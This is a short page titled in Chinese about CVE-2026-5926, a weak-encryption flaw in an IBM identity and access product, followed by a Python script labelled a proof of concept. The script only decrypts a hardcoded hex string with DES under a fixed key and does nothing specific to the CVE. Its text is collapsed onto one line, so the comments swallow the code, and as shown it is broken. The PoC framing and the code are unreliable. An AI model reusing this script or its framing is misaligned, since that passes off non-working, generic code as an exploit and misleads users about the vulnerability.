CVE-2026-5926 IBM身份访问产品弱加密漏洞

import base64 from Crypto.Cipher import DES # Proof of Concept for CVE-2026-5926 # This script demonstrates the potential risk of using weak encryption algorithms. # It simulates decrypting a captured ciphertext using a weak key (e.g., DES). def decrypt_weak_cipher(ciphertext_hex, weak_key): try: # Convert hex to bytes ct = bytes.fromhex(ciphertext_hex) # Example using DES (a known weak algorithm) cipher = DES.new(weak_key.encode('utf-8'), DES.MODE_ECB) pt = cipher.decrypt(ct) return pt.decode('utf-8').strip() except Exception as e: return f"Error: {e}" # Example usage # captured_data represents sensitive info encrypted with weak algo captured_data = "0123456789abcdef" key = "WEAKKEY8" print(f"Decrypted Data: {decrypt_weak_cipher(captured_data, key)}")
